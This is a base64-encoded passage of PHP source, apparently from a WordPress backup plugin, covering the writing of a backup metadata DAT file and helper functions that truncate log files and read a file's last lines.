QkvLyBVc2VycwoJCSR0b3RhbF91c2VycyA9IGNvdW50X3VzZXJzKCk7CgkJJHRvdGFsX3VzZXJzID0gJHRvdGFsX3VzZXJzWyd0b3RhbF91c2VycyddOwoKCQlpZiAoICEgaXNzZXQoICRzZXR0aW5nc1snY3VzdG9tX3Jvb3QnXSApIHx8ICggJycgPT0gJHNldHRpbmdzWydjdXN0b21fcm9vdCddICkgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoCgkJCQknc3RhcnRTdWJGdW5jdGlvbicsIGpzb25fZW5jb2RlKAoJCQkJCWFycmF5KAoJCQkJCQknZnVuY3Rpb24nID0+ICdwb3N0X2NvdW50JywKCQkJCQkJJ3RpdGxlJyAgICA9PiAnRm91bmQgJyAuICR0b3RhbF9wb3N0cyAuICcgcG9zdHMsICcgLiAkdG90YWxfcGFnZXMgLiAnIHBhZ2VzLCBhbmQgJyAuICR0b3RhbF9jb21tZW50cyAuICcgY29tbWVudHMuJywKCQkJCQkpCgkJCQkpCgkJCSk7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoCgkJCQknc3RhcnRTdWJGdW5jdGlvbicsIGpzb25fZW5jb2RlKAoJCQkJCWFycmF5KAoJCQkJCQknZnVuY3Rpb24nID0+ICdwb3N0X2NvdW50JywKCQkJCQkJJ3RpdGxlJyAgICA9PiAnRm91bmQgJyAuICR0b3RhbF91c2VycyAuICcgdXNlciBhY2NvdW50cy4nLAoJCQkJCSkKCQkJCSkKCQkJKTsKCQl9CgoJCSRkYXRfY29udGVudCA9IGFycmF5KAoKCQkJLy8gQmFja3VwIEluZm8uCgkJCSdiYWNrdXBidWRkeV92ZXJzaW9uJyAgPT4gcGJfYmFja3VwYnVkZHk6OnNldHRpbmdzKCAndmVyc2lvbicgKSwKCQkJJ3dvcmRwcmVzc192ZXJzaW9uJyAgICA9PiAkd3BfdmVyc2lvbiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIFdvcmRQcmVzcyB2ZXJzaW9uLgoJCQkncGhwX3ZlcnNpb24nICAgICAgICAgID0+IFBIUF9WRVJTSU9OLAoKCQkJJ2JhY2t1cF90aW1lJyAgICAgICAgICA9PiAkc2V0dGluZ3NbJ3N0YXJ0X3RpbWUnXSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIFRpbWUgYmFja3VwIGJlZ2FuLgoJCQknYmFja3VwX3R5cGUnICAgICAgICAgID0+ICRzZXR0aW5nc1snYmFja3VwX3R5cGUnXSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gQmFja3VwIHR5cGU6IGZ1bGwsIGRiLCBmaWxlcy4KCQkJJ3Byb2ZpbGUnICAgICAgICAgICAgICA9PiAkc2V0dGluZ3NbJ3Byb2ZpbGUnXSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIEFycmF5IG9mIHByb2ZpbGUgc2V0dGluZ3MuCgkJCSdkZWZhdWx0X3Byb2ZpbGUnICAgICAgPT4gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydwcm9maWxlcyddWzBdLCAgICAgICAgICAgICAvLyBEZWZhdWx0IHByb2ZpbGUuCgkJCSdzZXJpYWwnICAgICAgICAgICAgICAgPT4gJHNldHRpbmdzWydzZXJpYWwnXSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBVbmlxdWUgaWRlbnRpZmllciAocmFuZG9tKSBmb3IgdGhpcyBiYWNrdXAuCgkJCSd0cmlnZ2VyJyAgICAgICAgICAgICAgPT4gJHNldHRpbmdzWyd0cmlnZ2VyJ10sICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBXaGF0IHRyaWdnZXJlZCB0aGlzIGJhY2t1cC4gVmFsaWQgdmFsdWVzOiBzY2hlZHVsZWQsIG1hbnVhbC4KCQkJJ3dwLWNvbmZpZ19pbl9wYXJlbnQnICA9PiAkd3BfY29uZmlnX3BhcmVudCwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIFdoZXRoZXIgb3Igbm90IHRoZSB3cC1jb25maWcucGhwIGZpbGUgaXMgaW4gb25lIHBhcmVudCBkaXJlY3RvcnkgdXAuIElmIGluIHBhcmVudCBkaXJlY3RvcnkgaXQgd2lsbCBiZSBjb3BpZWQgaW50byB0aGUgdGVtcCBzZXJpYWwgZGlyZWN0b3J5IGFsb25nIHdpdGggdGhlIC5zcWwgYW5kIERBVCBmaWxlLiBPbiByZXN0b3JlIHdlIHdpbGwgTk9UIHBsYWNlIGluIGEgcGFyZW50IGRpcmVjdG9yeSBkdWUgdG8gcG90ZW50aWFsIHBlcm1pc3Npb24gaXNzdWVzLCBldGMuIEl0IHdpbGwgYmUgbW92ZWQgaW50byB0aGUgbm9ybWFsIGxvY2F0aW9uLiBWYWx1ZSBzZXQgdG8gdHJ1ZSBsYXRlciBpbiB0aGlzIGZ1bmN0aW9uIGlmIGFwcGxpY2FibGUuCgkJCSdkZXBsb3ltZW50X2RpcmVjdGlvbicgPT4gJHNldHRpbmdzWydkZXBsb3ltZW50X2RpcmVjdGlvbiddLCAgICAgICAgICAgICAgICAgICAvLyBEZXBsb3ltZW50IGRpcmVjdGlvbiwgaWYgYW55LgoKCQkJLy8gV29yZFByZXNzIEluZm8uCgkJCSdhYnNwYXRoJyAgICAgICAgICAgICAgPT4gQUJTUEFUSCwKCQkJJ3NpdGV1cmwnICAgICAgICAgICAgICA9PiBzaXRlX3VybCgpLAoJCQknaG9tZXVybCcgICAgICAgICAgICAgID0+IGhvbWVfdXJsKCksCgkJCSdibG9nbmFtZScgICAgICAgICAgICAgPT4gZ2V0X29wdGlvbiggJ2Jsb2duYW1lJyApLAoJCQknYmxvZ2Rlc2NyaXB0aW9uJyAgICAgID0+IGdldF9vcHRpb24oICdibG9nZGVzY3JpcHRpb24nICksCgkJCSdhY3RpdmVfcGx1Z2lucycgICAgICAgPT4gaW1wbG9kZSggJywgJywgZ2V0X29wdGlvbiggJ2FjdGl2ZV9wbHVnaW5zJyApICksICAgICAgICAgICAgICAvLyBMaXN0IG9mIGFjdGl2ZSBwbHVnaW5zIGF0IHRpbWUgb2YgYmFja3VwLgoJCQkncG9zdHMnICAgICAgICAgICAgICAgID0+ICR0b3RhbF9wb3N0cywgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gVG90YWwgV1AgcG9zdHMsIHB1Ymxpc2hlcywgZHJhZnQsIHByaXZhdGUsIHRyYXNoLCBldGMuCgkJCSdwYWdlcycgICAgICAgICAgICAgICAgPT4gJHRvdGFsX3BhZ2VzLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBUb3RhbCBXUCBwYWdlcywgcHVibGlzaGVzLCBkcmFmdCwgcHJpdmF0ZSwgdHJhc2gsIGV0Yy4KCQkJJ2NvbW1lbnRzJyAgICAgICAgICAgICA9PiAkdG90YWxfY29tbWVudHMsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIFRvdGFsIFdQIGNvbW1lbnRzLCBhcHByb3ZlZCwgc3BhbSwgZXRjLgoJCQkndXNlcnMnICAgICAgICAgICAgICAgID0+ICR0b3RhbF91c2VycywgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gVG90YWwgdXNlcnMgb24gc2l0ZS4KCQkJJ3dwX2NvbnRlbnRfdXJsJyAgICAgICA9PiBXUF9DT05URU5UX1VSTCwKCQkJJ3dwX2NvbnRlbnRfZGlyJyAgICAgICA9PiBXUF9DT05URU5UX0RJUiwKCgkJCS8vIERhdGFiYXNlIEluZm8uIFJlbWFpbmluZyBzZW5zaXRpdmUgaW5mbyBhZGRlZCBpbiBhZnRlciBwcmludGluZyBvdXQgREFUIChmb3Igc2VjdXJpdHkpLgoJCQknZGJfY2hhcnNldCcgICAgICAgICAgID0+ICR3cGRiLT5jaGFyc2V0LCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBDaGFyc2V0IG9mIHRoZSBkYXRhYmFzZS4gRWcgdXRmOCwgdXRmbWI0LiBAc2luY2UgdjYuMC4wLjYuCgkJCSdkYl9jb2xsYXRlJyAgICAgICAgICAgPT4gJHdwZGItPmNvbGxhdGUsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIENvbGxhdGUgb2YgdGhlIGRhdGFiYXNlLiBFZyB1dGY4LCB1dGZtYjQuIEBzaW5jZSB2Ni4wLjAuNi4KCQkJJ2RiX3ByZWZpeCcgICAgICAgICAgICA9PiAkd3BkYi0+cHJlZml4LCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gREIgcHJlZml4LiAoRXhhbXBsZTogd3BfKS4KCQkJJ2RiX3NlcnZlcicgICAgICAgICAgICA9PiBEQl9IT1NULCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gREIgaG9zdCAvIHNlcnZlciBhZGRyZXNzLgoJCQknZGJfbmFtZScgICAgICAgICAgICAgID0+IERCX05BTUUsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBEQiBuYW1lLgoJCQknZGJfdXNlcicgICAgICAgICAgICAgID0+ICcnLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBTZXQgc2V2ZXJhbCBsaW5lcyBkb3duIGFmdGVyIHByaW50aW5nIG91dCBEQVQuCgkJCSdkYl9wYXNzd29yZCcgICAgICAgICAgPT4gJycsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIFNldCBzZXZlcmFsIGxpbmVzIGRvd24gYWZ0ZXIgcHJpbnRpbmcgb3V0IERBVC4KCQkJJ2RiX2V4Y2x1c2lvbnMnICAgICAgICA9PiBpbXBsb2RlKCAnLCcsICRzZXR0aW5nc1snZGJfZXhjbHVkZXMnXSApLAoJCQknZGJfaW5jbHVzaW9ucycgICAgICAgID0+IGltcGxvZGUoICcsJywgJHNldHRpbmdzWydkYl9pbmNsdWRlcyddICksCgkJCSdkYl92ZXJzaW9uJyAgICAgICAgICAgPT4gJHdwZGItPmRiX3ZlcnNpb24oKSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gRGF0YWJhc2Ugc2VydmVyIChteXNxbCkgdmVyc2lvbi4KCQkJJ2JyZWFrb3V0X3RhYmxlcycgICAgICA9PiAkc2V0dGluZ3NbJ2JyZWFrb3V0X3RhYmxlcyddLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBUYWJsZXMgYnJva2VuIG91dCBpbnRvIGluZGl2aWR1YWwgYmFja3VwIHN0ZXBzLgoJCQkndGFibGVzX3NpemVzJyAgICAgICAgID0+ICRzZXR0aW5nc1sndGFibGVfc2l6ZXMnXSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIFRhYmxlcyBiYWNrZWQgdXAgYW5kIHRoZWlyIHNpemVzLgoJCQknZm9yY2Vfc2luZ2xlX2RiX2ZpbGUnID0+ICRzZXR0aW5nc1snZm9yY2Vfc2luZ2xlX2RiX2ZpbGUnXSwgICAgICAgICAgICAgICAgICAgICAgIC8vIFRhYmxlcyBmb3JjZWQgaW50byBhIHNpbmdsZSBkYl8xLnNxbCBmaWxlLgoJCQknc2tpcF9kYXRhYmFzZV9kdW1wJyAgID0+ICRzZXR0aW5nc1snc2tpcF9kYXRhYmFzZV9kdW1wJ10sCgoJCQkvLyBNdWx0aXNpdGUgSW5mby4KCQkJJ2lzX211bHRpc2l0ZScgICAgICAgICA9PiAkaXNfbXVsdGlzaXRlLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gRnVsbCBOZXR3b3JrIGJhY2t1cD8KCQkJJ2lzX211bHRpc2l0ZV9leHBvcnQnICA9PiAkaXNfbXVsdGlzaXRlX2V4cG9ydCwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gU3Vic2l0ZSBiYWNrdXAgKGV4cG9ydCk/CgkJCSdkb21haW4nICAgICAgICAgICAgICAgPT4gaXNfb2JqZWN0KCAkY3VycmVudF9ibG9nICkgPyAkY3VycmVudF9ibG9nLT5kb21haW4gOiAnJywgICAgIC8vIEV4OiBib2IuY29tLgoJCQkncGF0aCcgICAgICAgICAgICAgICAgID0+IGlzX29iamVjdCggJGN1cnJlbnRfYmxvZyApID8gJGN1cnJlbnRfYmxvZy0+cGF0aCA6ICcnLCAgICAgICAvLyBFeDogL3dvcmRwcmVzcy8uCgkJCSd1cGxvYWRfdXJsJyAgICAgICAgICAgPT4gJHVwbG9hZF91cmwsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIFByZXR0eSBVUkwuCgkJCSd1cGxvYWRfdXJsX3Jld3JpdGUnICAgPT4gJHVwbG9hZF91cmxfcmV3cml0ZSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIFJlYWwgZXhpc3RpbmcgVVJMIHRoYXQgdGhlIHByZXR0eSBVUkwgd2lsbCBiZSByZXdyaXR0ZW4gdG8uCgoJCQkvLyBJbXBvcnRCdWRkeSBPcHRpb25zLgoJCQkvLyAnaW1wb3J0X2Rpc3BsYXlfcHJldmlvdXNfdmFsdWVzJwk9PglwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2ltcG9ydF9kaXNwbGF5X3ByZXZpb3VzX3ZhbHVlcyddLAkvLyBXaGV0aGVyIG9yIG5vdCB0byBkaXNwbGF5IHRoZSBwcmV2aW91cyB2YWx1ZXMgZnJvbSB0aGUgc291cmNlIG9uIGltcG9ydC4gVXNlZnVsIGlmIGN1c3RvbWVyIGRvZXMgbm90IHdhbnQgdG8gYmxhdGFudGx5IGRpc3BsYXkgcHJldmlvdXMgdmFsdWVzIHRvIGFueW9uZSByZXN0b3JpbmcgdGhlIGJhY2t1cC4KCQkpOyAvLyBFbmQgc2V0dGluZyAkZGF0X2NvbnRlbnQuCgoJCS8vIElmIGN1cnJlbnRseSB1c2luZyBTU0wgb3IgZm9yY2luZyBhZG1pbiBTU0wgdGhlbiB3ZSB3aWxsIGNoZWNrIHRoZSBoYXJkY29kZWQgZGVmaW5lZCBVUkwgdG8gbWFrZSBzdXJlIGl0IG1hdGNoZXMuCgkJaWYgKCBpc19zc2woKSBvciAoIGRlZmluZWQoICdGT1JDRV9TU0xfQURNSU4nICkgJiYgdHJ1ZSA9PSBGT1JDRV9TU0xfQURNSU4gKSApIHsKCQkJJGRhdF9jb250ZW50WydzaXRldXJsJ10gPSBnZXRfb3B0aW9uKCAnc2l0ZXVybCcgKTsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ0NvbXBlbnNhdGluZyBmb3IgU1NMIGluIHNpdGV1cmwuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQl9CgoJCS8vIE91dHB1dCBmb3IgdHJvdWJsZXNob290aW5nLgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0RBVCBmaWxlIGNvbnRlbnRzIChzYW5zIGRhdGFiYXNlIHVzZXIvcGFzcyk6ICcgLiBzdHJfcmVwbGFjZSggIlxuIiwgJzsgJywgcHJpbnRfciggJGRhdF9jb250ZW50LCB0cnVlICkgKSApOwoKCQkvLyBSZW1haW5pbmcgREIgc2V0dGluZ3MuCgkJJGRhdF9jb250ZW50WydkYl91c2VyJ10gICAgID0gREJfVVNFUjsKCQkkZGF0X2NvbnRlbnRbJ2RiX3Bhc3N3b3JkJ10gPSBEQl9QQVNTV09SRDsKCgkJLy8gU2VyaWFsaXplIC5kYXQgZmlsZSBhcnJheS4KCQkkZW5jb2RlZF9kYXRfY29udGVudCA9ICI8P3BocCBkaWUoJ0FjY2VzcyBEZW5pZWQuJyk7IC8vIDwhLS0gPz5cbiIgLiBiYXNlNjRfZW5jb2RlKCBzZXJpYWxpemUoICRkYXRfY29udGVudCApICk7CgoJCS8vIFRPRE86IHJlbW92ZSBleGlzdHMgbm90ZSBpZiBubyBtb3JlIHByb2JsZW1zIHdpdGggdGhpcyBhZnRlciBhZGRpbmcgdGhlIGFib3ZlIGRpcmVjdG9yeSBtYWtpbmcuCgkJJGV4aXN0ZWQgPSAnbm8nOwoJCWlmICggZmlsZV9leGlzdHMoICRkYXRfZmlsZSApICkgewoJCQkkZXhpc3RlZCA9ICd5ZXMnOwoJCX0KCgkJLy8gV3JpdGUgZGF0YSB0byB0aGUgZGF0IGZpbGUuCgkJJGZpbGVfaGFuZGxlID0gZm9wZW4oICRkYXRfZmlsZSwgJ3cnICk7CgkJaWYgKCBmYWxzZSA9PT0gJGZpbGVfaGFuZGxlICkgewoJCQkkZXJyb3IgPSAnRXJyb3IgIzkwMTc6IFVuYWJsZSB0byBmb3BlbiBEQVQgZmlsZSBgJyAuICRkYXRfZmlsZSAuICdgLiBDaGVjayBmaWxlL2RpcmVjdG9yeSBwZXJtaXNzaW9ucy4gQWxyZWFkeSBleGlzdGVkPzogYCcgLiAkZXhpc3RlZCAuICdgLic7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICRlcnJvciApOwoJCQlAZmNsb3NlKCAkZmlsZV9oYW5kbGUgKTsKCQkJcmV0dXJuICRlcnJvcjsKCQl9CgkJaWYgKCBmYWxzZSA9PT0gZndyaXRlKCAkZmlsZV9oYW5kbGUsICRlbmNvZGVkX2RhdF9jb250ZW50ICkgKSB7CgkJCSRlcnJvciA9ICdFcnJvciAjMzQ4OTM0ODQzOiBVbmFibGUgdG8gZndyaXRlIHRvIERBVCBmaWxlIGAnIC4gJGRhdF9maWxlIC4gJ2AuIENoZWNrIGZpbGUvZGlyZWN0b3J5IHBlcm1pc3Npb25zLiBBbHJlYWR5IGV4aXN0ZWQ/OiBgJyAuICRleGlzdGVkIC4gJ2AuJzsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJGVycm9yICk7CgkJCUBmY2xvc2UoICRmaWxlX2hhbmRsZSApOwoJCQlyZXR1cm4gJGVycm9yOwoJCX0KCQlAZmNsb3NlKCAkZmlsZV9oYW5kbGUgKTsKCgkJcmV0dXJuICRkYXRfY29udGVudDsgLy8gQXJyYXkgb2YgZGF0IGNvbnRlbnQgd2hpY2ggd2FzIHdyaXR0ZW4gdG8gREFUIGZpbGUuCgoJfSAvLyBFbmQgcmVuZGVyX2RhdF9jb250ZW50cygpLgoKCgkvKioKCSAqIFRydW5jYXRlcyBhIGZpbGUgZnJvbSB0aGUgQkVHSU5OSU5HLiBFZyBmb3IgdHJpbW1pbmcgbG9ncyB3aGlsZSBsZWF2aW5nIHRoZSBtb3N0IHJlY2VudCAoYXQgdGhlIGJvdHRvbSkgY29udGVudC4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZSAgICAgIFBhdGggdG8gZmlsZSB0byB0cnVuY2F0ZS4KCSAqIEBwYXJhbSBpbnQgICAgJG1heGZpbGVzaXplICAgTWF4aW11bSBmaWxlIHNpemUuCgkgKiBAcGFyYW0gaW50ICAgICRrZWVwX3BlcmNlbnQgIFBlcmNlbnRhZ2UgdG8ga2VlcC4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiB0cnVuY2F0ZV9maWxlX2JlZ2lubmluZyggJGZpbGVuYW1lLCAkbWF4ZmlsZXNpemUsICRrZWVwX3BlcmNlbnQgPSA1MCApIHsKCQlAY2xlYXJzdGF0Y2FjaGUoIHRydWUsICRmaWxlbmFtZSApOwoJCSRzaXplID0gQGZpbGVzaXplKCAkZmlsZW5hbWUgKTsKCQlpZiAoIGZhbHNlID09PSAkc2l6ZSApIHsKCQkJcmV0dXJuOyAvLyBGaWxlIGRpZCBub3QgZXhpc3QvY2Fubm90IGFjY2Vzcy4KCQl9CgkJaWYgKCAkc2l6ZSA8ICRtYXhmaWxlc2l6ZSApIHsKCQkJcmV0dXJuOwoJCX0KCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnVHJ1bmNhdGluZyBMQVJHRSBmaWxlIGAnIC4gJGZpbGVuYW1lIC4gJ2Agb2Ygc2l6ZSBgJyAuIHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5maWxlX3NpemUoICRzaXplICkgLiAnYCBleGNlZWRpbmcgdGhyZXNob2xkLCBvbmx5IGtlZXBpbmcgbmV3ZXN0ICcgLiAka2VlcF9wZXJjZW50IC4gJyUuJyApOwoKCQkkbWF4ZmlsZXNpemUgPSAkbWF4ZmlsZXNpemUgKiAoICRrZWVwX3BlcmNlbnQgLyAxMDAgKTsgLy8ga2VlcCBuZXdlc3QgcGFydCB1cCB0byBjZXRhaW4gcGVyY2VudC4KCQkkZmggICAgICAgICAgPSBmb3BlbiggJGZpbGVuYW1lLCAncisnICk7CgkJJHN0YXJ0ICAgICAgID0gQGZ0ZWxsKCAkZmggKTsKCQlpZiAoIGZhbHNlID09PSAkc3RhcnQgKSB7CgkJCXJldHVybjsgLy8gRmlsZSBkaWQgbm90IGV4aXN0L2Nhbm5vdCBhY2Nlc3MuCgkJfQoJCWZzZWVrKCAkZmgsIC0kbWF4ZmlsZXNpemUsIFNFRUtfRU5EICk7IC8vIFNlZWsgdG8gbWlkZGxlIGZyb20gdGhlIGVuZC4KCQkkc3RhcnQgID0gZmdldHMoICRmaCApOyAvLyBHZXQgc3RhcnQgcG9zaXRpb24uCgkJJGxlbmd0aCA9ICggKGludCkgJHNpemUgLSAoaW50KSAkc3RhcnQgKTsKCgkJLy8gQ2F0Y2ggaW5zdGFuY2VzIHdoZXJlIGZyZWFkIGxlbmd0aCBwYXJhbWV0ZXIgd2FzIGNvbWluZyBpbiBsZXNzIHRoYW4gMC4KCQlpZiAoICRsZW5ndGggPCAxICkgewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQkvLyBSZWFkIGluIGZpbGUgZnJvbSBtaWRkbGUgcG9pbnQuCgkJJGNvbnRlbnRzID0gZnJlYWQoICRmaCwgJGxlbmd0aCApOwoKCQkvLyBGaW5kIGZpcnN0IG5ld2xpbmUgJiBjdXQgb2ZmIGV2ZXJ5dGhpbmcgYmVmb3JlIGl0IHNvIHdlIG1ha2Ugc3VyZSB0byBzdGFydCBhdCBhIGZyZXNoIGxpbmUgKG5vIGhhbGYgbGluZXMgYXMgYmVnaW5uaW5nKS4KCQkkZmlyc3RfbmV3bGluZSA9IHN0cnBvcyggJGNvbnRlbnRzLCAiXG4iICk7CgkJaWYgKCBmYWxzZSA9PT0gJGZpcnN0X25ld2xpbmUgKSB7CgkJCSRmaXJzdF9uZXdsaW5lID0gMDsgLy8gTm8gbmV3bGluZS4KCQl9IGVsc2UgewoJCQkkZmlyc3RfbmV3bGluZSsrOyAvLyBBZnRlciBuZXcgbGluZS4KCQl9CgkJJGNvbnRlbnRzID0gc3Vic3RyKCAkY29udGVudHMsICRmaXJzdF9uZXdsaW5lICk7IC8vIEN1dCBvdXQgdXAgdG8gdGhlIGZpcnN0IG5ld2xpbmUgKGp1c3QgYWZ0ZXIpLgoKCQkvLyBXcml0ZSBuZXcgZmlsZSBjb250ZW50cyBvdmVyIGV4aXN0aW5nIGZpbGUgZGF0YS4KCQlmdHJ1bmNhdGUoICRmaCwgMCApOyAvLyBFcmFzZSBjdXJyZW50IGNvbnRlbnRzLgoJCWZzZWVrKCAkZmgsIDAgKTsKCQlmd3JpdGUoICRmaCwgJGNvbnRlbnRzICk7CgoJCS8vIENsZWFudXAuCgkJZmNsb3NlKCAkZmggKTsKCX0gLy8gRW5kIHRydW5jYXRlX2ZpbGVfYmVnaW5uaW5nKCkuCgoJLyoqCgkgKiBTb3VyY2U6IGh0dHA6Ly9zdGFja292ZXJmbG93LmNvbS9xdWVzdGlvbnMvMjk2MTYxOC9ob3ctdG8tcmVhZC1vbmx5LTUtbGFzdC1saW5lLW9mLXRoZS10ZXh0LWZpbGUtaW4tcGhwCgkgKgoJICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUgIEZpbGUgbmFtZS4KCSAqIEBwYXJhbSBhcnJheSAgJGxpbmVzICAgICBMaW5lcyBpbiBmaWxlIHRvIHJlYWQuCgkgKiBAcGFyYW0gYm9vbCAgICRyZXZlcnMgICAgUmVhZCBpbiByZXZlcnNlLiBEZWZhdWx0IGZhbHNlLgoJICoKCSAqIEByZXR1cm4gc3RyaW5nICBMYXN0IGxpbmVzLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlYWRfYmFja3dhcmRfbGluZSggJGZpbGVuYW1lLCAkbGluZXMsICRyZXZlcnMgPSBmYWxzZSApIHsKCQkkb2Zmc2V0ID0gLTE7CgkJJGMgICAgICA9ICcnOwoJCSRyZWFkICAgPSAnJzsKCQkkaSAgICAgID0gMDsKCQkkZnAgICAgID0gQGZvcGVuKCAkZmlsZW5hbWUsICdyJyApOwoJCXdoaWxlICggJGxpbmVzICYmIGZzZWVrKCAkZnAsICRvZmZzZXQsIFNFRUtfRU5EICkgPj0gMCApIHsKCQkJJGMgPSBmZ2V0YyggJGZwICk7CgkJCWlmICggIlxuIiA9PSAkYyB8fCAiXHIiID09ICRjICkgewoJCQkJJGxpbmVzLS07CgkJCQlpZiAoICRyZXZlcnMgKSB7CgkJCQkJJHJlYWRbICRpIF0gPSBzdHJyZXYoICRyZWFkWyAkaSBdICk7CgkJCQkJJGkrKzsKCQkJCX0KCQkJfQoJCQlpZiAoICRyZXZlcnMgKSB7CgkJCQkkcmVhZFsgJGkgXSAuPSAkYzsKCQkJfSBlbHNlIHsKCQkJCSRyZWFkIC49ICRjOwoJCQl9CgkJCSRvZmZzZXQtLTsKCQl9CgkJZmNsb3NlKCAkZnAgKTsKCQlpZiAoICRyZXZlcnMgKSB7CgkJCWlmICggIlxuIiA9PSAkcmVhZFsgJGkgXSB8fCAiXHIiID09ICRyZWFkWyAkaSBdICkgewoJCQkJYXJyYXlfcG9wKCAkcmVhZCApOwoJCQl9IGVsc2UgewoJCQkJJHJlYWRbICRpIF0gPSBzdHJyZXYoICRyZWFkWyAkaSBdICk7CgkJCX0KCQkJcmV0dXJuIGltcGxvZGUoICcnLCAkcmVhZCApOwoJCX0KCQlyZXR1cm4gc3RycmV2KCBydHJpbSggJHJlYWQsICJcblxyIiApICk7Cgl9CgoJLyoqCgkgKiBUcnVuY2F0ZXMgYSBmaWxlIGZyb20gdGhlIEJFR0lOTklORy4gRWcgZm9yIHRyaW1taW5nIGxvZ3Mgd2hpbGUgbGVhdmluZyB0aGUgbW9zdCByZWNlbnQgKGF0IHRoZSBib3R0b20pIGNvbnRlbnQuCgkgKgoJICogT0xEIGZ1bmN0aW9uLiBNb3JlIHByZWNpc2UgYnV0IFNMT1cuLi4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZSAgICAgIFBhdGggdG8gZmlsZSB0byB0cnVuY2F0ZS4KCSAqIEBwYXJhbSBpbnQgICAgJG1heGZpbGVzaXplICAgTWF4IGZpbGUgc2l6ZS4KCSAqIEBwYXJhbSBpbnQgICAgJGtlZXBfcGVyY2VudCAgUGVyY2VudGFnZSBvZiBmaWxlIHRvIGtlZXAuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gdHJ1bmNhdGVfZmlsZV9iZWdpbm5pbmdfc2xvdyggJGZpbGVuYW1lLCAkbWF4ZmlsZXNpemUsICRrZWVwX3BlcmNlbnQgPSA1MCApIHsKCQkkc2l6ZSA9IGZpbGVzaXplKCAkZmlsZW5hbWUgKTsKCQlpZiAoICRzaXplIDwgJG1heGZpbGVzaXplICkgewoJCQlyZXR1cm47CgkJfQoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdUcnVuY2F0aW5nIExBUkdFIGZpbGUgYCcgLiAkZmlsZW5hbWUgLiAnYCBvZiBzaXplIGAnIC4gcGJfYmFja3VwYnVkZHk6OiRmb3JtYXQtPmZpbGVfc2l6ZSggJHNpemUgKSAuICdgIGV4Y2VlZGluZyB0aHJlc2hvbGQsIG9ubHkga2VlcGluZyBuZXdlc3QgJyAuICRrZWVwX3BlcmNlbnQgLiAnJS4nICk7CgoJCSRtYXhmaWxlc2l6ZSA9ICRtYXhmaWxlc2l6ZSAqICggJGtlZXBfcGVyY2VudCAvIDEwMCApOyAvLyBrZWVwIG5ld2VzdCBwYXJ0IHVwIHRvIGNldGFpbiBwZXJjZW50LgoJCSRmaCAgICAgICAgICA9IGZvcGVuKCAkZmlsZW5hbWUsICdyKycgKTsKCQkkc3RhcnQgICAgICAgPSBmdGVsbCggJGZoICk7CgkJZnNlZWsoICRmaCwgLSRtYXhmaWxlc2l6ZSwgU0VFS19FTkQgKTsKCQkkZHJvcCAgID0gZmdldHMoICRmaCApOwoJCSRvZmZzZXQgPSBmdGVsbCggJGZoICk7CgkJZm9yICggJHggPSAwOyR4IDwgJG1heGZpbGVzaXplOyR4KysgKSB7CgkJCWZzZWVrKCAkZmgsICR4ICsgJG9mZnNldCApOwoJCQkkYyA9IGZnZXRjKCAkZmggKTsKCQkJZnNlZWsoICRmaCwgJHggKTsKCQkJZndyaXRlKCAkZmgsI